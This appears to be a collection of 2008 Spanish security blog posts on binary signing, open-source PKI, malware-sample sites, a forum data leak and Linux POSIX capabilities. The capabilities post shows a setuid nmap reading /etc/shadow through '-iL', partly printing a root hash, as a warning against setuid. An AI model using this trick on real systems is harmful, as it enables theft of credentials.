Pese a que en Linux no es muy frecuente obtener los programas en forma binaria (a diferencia de Windows) puede que en determinadas situaciones sea útil tener la capacidad de firmar digitalmente un binario para tener la certeza que no ha sido alterado y que proviene de una fuente fiable. En Windows, existe desde hace bastante tiempo Authenticode que engloba varias herramientas que permiten firmar digitalmente un ejecutable. Cualquiera puede recordar la típica ventana informando sobre quién ha firmado un .exe cuando lo ejecutamos.

En Linux hay varias soluciones para realizar eso, tal vez la mas análoga a Autenticode (emplea certificados digitales X.509) sea elfsign. El problema es que se encuentra profundamente desactualizado y da problemas en versiones recientes de Linux.

La herramienta que voy a presentar hoy es Bsign que se puede descargar desde aquí. Esta herramienta a diferencia de elfsign esta basada en GPG con sus ventajas e inconvenientes.

Lo que hace, básicamente, es inyectar una firma digital dentro del formato ELF (el formato nativo de los ejecutables de Linux) sobre un HASH del ejecutable, de forma que, por una parte podremos verificar que ese ejecutable ha sido firmado por una clave conocida, y por otra parte saber si ese ejecutable ha sido alterado.

Bsign puede ser empleado como re-emplazo de TripWire o Afick a la hora de diseñar un sistema de comprobación de integridad del sistema. A diferencia de TripWire y soluciones similares que se basan en sacar un Hash del ejecutable y almacenarlo, Bsign firma el ejecutable y únicamente ha de disponer de la clave publica con que fue firmado el binario para realizar la verificación.

Bsign funciona de la siguiente forma:

$ ./bsign --sign ps

Enter pass phrase:

Con el parámetro --sign realizamos la firma digital del fichero usando la clave GPG que este marcada como "default" en nuestro anillo.
Este comando solicitará la contraseña de la clave privada para realizar la firma digital.

A la hora de verificar el ejecutable usaremos bsign de la siguiente forma:

$ ./bsign -V ps
bsign: good signature found in 'ps'.

Si ese ejecutable hubiera sido sustituido por otro sin firma digital, bsign nos informaría durante la verificación;

$ ./bsign -V ps
bsign: no signature found in 'ps'.

Próximamente, escribiré sobre Authenticode
Leer más...

08 septiembre 2008

Software PKI OpenSource

La popularización del concepto 'PKI' en estos últimos años ha tenido un innegable avance en el mundo IT.

Palabras como certificados digitales, smartcards e incluso mas técnicas, como CRL cada vez son mas frecuentes en las conversaciones de los departamentos de sistemas.

Normalmente, montar una PKI cumpliendo la ley de firma digital del 2003 es algo reservado a unas pocas organizaciones con muchisimo peso especifico (el gasto en auditorías, medidas de seguridad y los 3 millones de euros que se han de dejar en deposito son un evidente freno). No obstante, muchas organizaciones optan por montar una infraestructura PKI con los máximos servicios posibles para consumo interno: login con smartcards, autenticación de WebServices, o firma y cifrado de correos electrónicos.

A la hora de estudiar presupuestos, normalmente suelen salir a la palestra soluciones de Entrust 0 la española (y madre del DNI-E) SafeLayer.

Los precios de ese tipo de soluciones, mas los servicios profesionales asociados, suelen copar muchos ceros en un presupuesto, por eso en muchas ocasiones proyectos PKI han quedado durmiendo el sueño de los justos por falta de capital y probablemente en estos tiempos de crisis / recesión actuales es seguro que costara muy mucho vender un proyecto PKI.

No obstante, hay que mencionar la existencia de soluciones completamente OpenSource para implementar soluciones PKI, en muchos casos con una rica funcionalidad y perfectamente funcional para el 70 % de los casos. Voy a enumerar las que, desde mi punto de vista, son las soluciones mas interesantes de cara a implementar una PKI fuera de los circuitos profesionales.

  • OpenCA: Tal vez el primer nombre que nos viene a la cabeza a la hora de hablar de soluciones libres criptográficas, es una robusta y muy probada solución que permite implementar toda la jerarquía de servicios PKI deseables: CAs raiz, CAs subordinadas, RA, servidores OCSP. Lo único que se echa en falta en esta solución son implementaciones de servicios y herramientas mas profesionales como servicios de sellado de tiempo, custodia de certificados en servidores de "signing" y cosas similares. No obstante, ahora mismo se encuentra en un proceso de re-escritura con lo que habrá que estar atentos.
  • OpenXPKI: Se trata de un fork de OpenCA, no tengo referencias sobre el proyecto, pero no extiende (a nivel componentes) a OpenCA.
  • EJBCA: El autentico tapado del mundo PKI Opensource, escrita totalmente en Java (para bien, o para mal) tiene una filosofía muy análoga a las soluciones profesionales en el mundo PKI ya que, además de toda la infraestructura 'clásica', también incorpora servicios avanzados como el sellado de tiempo y servidores de firmado (muy necesario para, por ejemplo, emitir facturas digitales desde múltiples puntos). Además como referencia, cuentan con el apoyo del gobierno suizo que ha donado librerías que fueron empleadas para su E-passport.
En definitiva, montar una PKI no tiene porque ser algo elitista, asociado a muchos miles de euros y reservado para grandes organizaciones. Como en el tema de la moda, en el mundo PKI, hay 'Zaras', 'Emilios Tuccis' y 'Versaces'
Leer más...

06 septiembre 2008

Como conseguir Malware

En muchas ocasiones me he visto en la necesidad de obtener especímenes de programas / código de malware con idea de poder realizar tests a herramientas que me han solicitado evaluar, o directamente porque estoy desarrollando alguna y me interesa ver en acción como se comporta ante ataques reales y no simulados.

La solución la encontré en la web de offensivecomputing. Esta web posee una excelente colección de malware que, una vez registrados, nos podemos descargar. Permite realizar búsquedas, así que si tenemos claro que estamos buscando, es muy sencillo localizarlo en esa web. Su base de datos se actualiza frecuentemente y además, podemos subir malware que nosotros hayamos localizado colaborando, de esta forma, en hacer mas efectiva la web.

Otro punto positivo es que junto al espécimen de malware, aparece su resumen MD5 o SHA con lo que también puede servir en caso de que tengamos que analizar un espécimen y tengamos que averiguar de cual se trata.

La web sirve como punto de encuentro entre especialistas, ya que podemos compartir información, leerla y ojear alguno de los blogs sobre la temática que existen en la web.
Leer más...

04 septiembre 2008

Linux POSIX capabilities

El mundo GNU y específicamente su proyecto estrella Linux, están de enhorabuena, acaban de cumplir 25 años

Para sumarnos a esa celebración, voy a escribir un poco sobre un aspecto de seguridad en Linux que no parece demasiado difundido y que puede resultar interesante de cara a securizar sistemas Linux.

Me refiero a las POSIX capabilities. Antes de entrar en materia, contextualizare un poco sobre que son y porque nos pueden ser útiles.

En un sistema Unix, hay una serie de restricciones (lógicas) a la hora de hacer cierto tipo de cosas que requieren privilegios especiales (ser root) esto supone que, enviar RAW SOCKETS, o abrir un puerto por debajo de 1024 son tareas absolutamente imposibles de hacer para un usuario normal. Esta restricción es evidentemente necesaria, pero supone otro problema, tal vez yo necesite que un usuario normal haga SOLO una tarea que requiera privilegios de root y no deseo darle 'todo el poder'.

Rápidamente muchos habrán caído en que, si es solo una tarea, un comando, puedo poner ese comando en modo set-uid para que se ejecute con privilegios de root. Pero esto no soluciona el problema, por ejemplo, si yo necesito abrir el puerto 200, hacer que un comando se ejecute como root supone, colateralmente, darle acceso a /etc/shadow, ¿Yo quiero hacer esto? No, obviamente.

Para eso están las POSIX capabilities que permiten asociar funcionalidades de forma granular sin tener que abrir una brecha de seguridad de proporciones acromegalicas.

El listado completo de las capabilities soportadas en Linux (y su correspondiente descripción) se encuentra en el fichero capability.h

Las capabilities se encuentran soportadas dentro de la estructura ELF desde hace unos años, con lo que además de los consabidos datos xwr también se pueden asociar capabilities a un fichero.

Juguemos un poco con algún ejemplo, véase el archifamoso nmap. Supongamos que yo pretendo usar nmap para realizar escaneos desde un usuario no privilegiado. Nmap hace uso en algunos modos de scaneo de RAW SOCKETS, y eso solo lo puede hacer root:

$ nmap -sS www.google.com
You requested a scan type which requires root privileges.
QUITTING!

No podemos.
En este punto yo podría, dentro de mi inconsciencia, poner nmap como set-uid para que se ejecute como root, y efectivamente ya podría realizar el scaneo

(como root)
#chmod +s /usr/local/bin/nmap

Y luego

$ nmap -sS www.google.com

Starting Nmap 4.53 ( http://insecure.org ) at 2008-09-04 02:04 CEST
Warning: Hostname www.google.com resolves to 4 IPs. Using 216.239.59.147.

Todo correcto salvo porque, además, ese usuario no privilegiado podría hacer esto:

$ nmap -iL /etc/shadow

Starting Nmap 4.53 ( http://insecure.org ) at 2008-09-04 02:05 CEST
Invalid host expression: root:$6$LHKAdZSmlnxl2Vwo$839gbMniA0cQvLaWjurT2P0fSttT9Fve.:14037:0:99999:7::: -- colons only allowed in IPv6 addresses, and then you need the -6 switch
QUITTING!

WOW, definitivamente ha sido una pésima idea poner nmap como set-uid, como se puede ver, al haber dado esos privilegios a nmap, ahora puedo leer la primera linea del fichero /etc/shadow donde se encuentra la password de root. Nmap, además, tiene flags que permiten sobre-escribir ficheros, así que, el daño podría haber sido mucho peor.

¿Solucion? Usar las POSIX capabilities de forma granular. ¿Que necesita nmap para funcionar? Acceso a los RAW SOCKETS, vale, entonces, concedamosle únicamente esa capacidad. Para ello usaremos la herramienta setcap que pertenece al paquete libcap

(como root)
# setcap cap_net_raw=ep /usr/bin/nmap

De esta forma, con un usuario no privilegiado podemos ejecutar nmap así:
$ nmap -sS www.google.com --privileged

Y podremos realizar escaneos que, en principio, deberían requerir privilegios de root pero que al haber otorgado esa capacidad al comando, podemos ejecutar sin dar los máximos privilegios.

Setcap, no aparece demasiado bien documentada, para fijar un privilegio has de usarla de la siguiente forma:
setcap nombre_capability=ep /ruta/del/comando
Y para ver que capabilities tiene activadas un comando, usaremos la herramienta getcap
getcap /ruta/del/comando
Leer más...

03 septiembre 2008

Hackeos memorables: foro de bloodandhonour.com


En un primer momento, se pensó en dedicar esta sección a aquellos "hackeos" acaecidos a lo largo de nuestra historia informática, ya sean nacionales o internacionales, los cuales atraigan por la calidad de sus victimas o de posibles efectos colaterales. Pero no podemos dejar pasar la ocasión de nombrar un hackeo que ha ocurrido este mismo mes: el foro alojado en www.bloodandhonour.com ha sido hackeado y todos su contenido, distribuido públicamente por internet.


Para ponernos en antecedentes, la página www.bloodandhonour.com, como resulta obvio por su nombre de dominio, es la página principal del movimiento u organización racista de skinheads nacional-socialistas, la cual tiene sedes en diversos lugares, como son Alemania, Noruega, Estados Unidos, Rusia e incluso España. Entre muchos servicios, la página ofrece un foro en el cual en el momento del ataque, se encontraban registradas más de 31.000 personas.

La autoría de esta acción, como podemos leer en la principal fuente de la noticia del ataque, se la atribuye un grupo que firma como "data-antifascists", y mediante un correo, comentan que ponen a disposición de todo el mundo, mediante enlaces de descarga directa en sitios como rapidshare o megaupload, torrents y demás, los archivos completos que han sido volcados del foro en cuestión. Lo curioso es que en el fichero que se puede descargar, no sólo incluyen la base de datos, si no que directamente incluyen todo el sistema del foro, así que como un mini-servidor web que al ser lanzado en nuestra máquina, puede hacernos navegar por el foro como si estuviese colgado de internet todavía, todo de manera local. Los hackers ponen a nuestra distribución una serie de ficheros .bat para hacer más sencilla la instalación de este servidor. Ya en el directorio htdocs, podemos encontrar el directorio forum dónde se alojaba el foro vBulletin intervenido.


Actualmente, en la página online del foro afectado, se puede encontrar un mensaje que cita lo siguiente (directamente lo dejo traducido al castellano):

"Estamos trabajando en un nuevo foro que debería estar disponible pronto a finales de esta semana, con nuevas medidas de seguridad.

En cuanto a la información que ha sido robada de esta página. En el momento en el que la información, venga de la fuente que sea, sea descargada en un ordenador personal, esta información puede ser modificada y manipulada por cualquier hacker con lo que él quiera. Se pueden cambiar las direcciones IP: Los mensajes privados pueden ser alterados o incluso crear nuevos. La información nos es más que un fichero de texto que cualquiera puede abrir y modificar a su antojo mediante su ordenador."

Este aviso no hace más que confirmar lo que muchas páginas ya resaltan. En el caso de que se tome n algún tipo de medidas judiciales frente a movimientos o personas que hagan apología del nazismo, si las acciones se toman en base a lo obtenido de este hackeo, no podrán servir como prueba ante un juez. Ya no sólo por la posible manipulación, si no porque más que nada, esta información ha sido obtenida de manera ilegal.

[+] Fuente: Indymedia.be

Leer más...

Finalmente ... SbD BOT en tu MSN !

Después de que hace un par de días anunciáramos los nuevos IM-Services, finalmente ya tenemos versión de SbD.bot para MSN Messenger.

Está en fase muy alpha ( y no, no es un snobismo 2.0-cerista ) y aun quedan un par de temas por perfilar.

La dirección como no podia ser de otra forma: sbd.bot@hotmail.com

Si no sabes de lo que estoy hablando, ojea esto:

LLegan los widgets 3.0; SbD en tu Gtalk !

Nuevos IM-Services en SbD.bot

Leer más...

01 septiembre 2008

¿interesado en botnets y cibercrimen?

Que las conocidas como 'botnets' son una de las peores amenazas que circulan por Internet no es un secreto para nadie.

Tras ellas se encuentran sórdidas mafias dedicadas a mover SPAM por Internet, organizar ataques DoS, o servir como almacén de ficheros para actividades ilícitas.

Así como sobre otras temáticas si existen listas de correo donde debatir, comentar experiencias, lanzar alertas tempranas, se echaba de menos una lista de correo únicamente dedicada a hablar de ese tema, interesante a nivel profesional (Tú puedes ser victima de cualquiera de las vertientes relacionadas con botnets) así como por mero interés novelistico ya que el tema y los trasfondos suelen ser apasionantes.

Leyendo Bugtraq veo un mail que habla de una lista de correo (técnicamente, no podemos hablar de una nueva lista, ya que estuvo funcionando tiempo atras) sobre el tema.

No he encontrado una web donde referencie la mail-list, solo la interface para darse de alta. Puede resultar interesante ver que se cuece ahí

Para darte de alta, aquí
Leer más...
Se ha publicado una vulnerabilidad 'global' que permite, bajo ciertas condiciones, obtener la contraseña empleada para cifrar datos en TrueCrypt y Bitlocker, para arrancar el sistema en Grub y Lilo, además de afectar a otras muchas implementaciones que van desde sistemas de bloqueo a nivel BIOS en diferentes vendedores, hasta más software de cifrado como TrueCrypt.

Según cuenta la gente de iViZ Security prácticamente todas las implementaciones de seguridad que realizan operaciones pre-boot (es decir, antes de arrancar el sistema operativo) emplean un buffer a nivel BIOS para almacenar la contraseña que el usuario escribe en el teclado y que posteriormente, es alojada en la memoria RAM del sistema.

Ninguna de las implementaciones antes mencionadas tuvieron la precaución de borrar o llenar de información no útil ese buffer, con lo que permanece en texto claro una vez el sistema operativo se encuentra arrancado.

La criticidad de la vulnerabilidad oscila entre relativamente improbable a nivel Linux (requiere ser root para leer el buffer) hasta Windows, donde cualquier usuario con acceso al sistema puede leer dicho buffer.

A nivel casero tal vez no sea algo dramáticamente critico, pero en un entorno empresarial donde los usuarios comparten dominio, y por ende, pueden hacer login en los equipos, si puede suponer un riesgo potencialmente elevado.

Afortunadamente, este bug no afecta a TrueCrypt si esta siendo empleado para cifrar contenedores, únicamente el fallo aplica si se emplea para cifrar globalmente todo el disco duro.

Mas información, aquí
Leer más...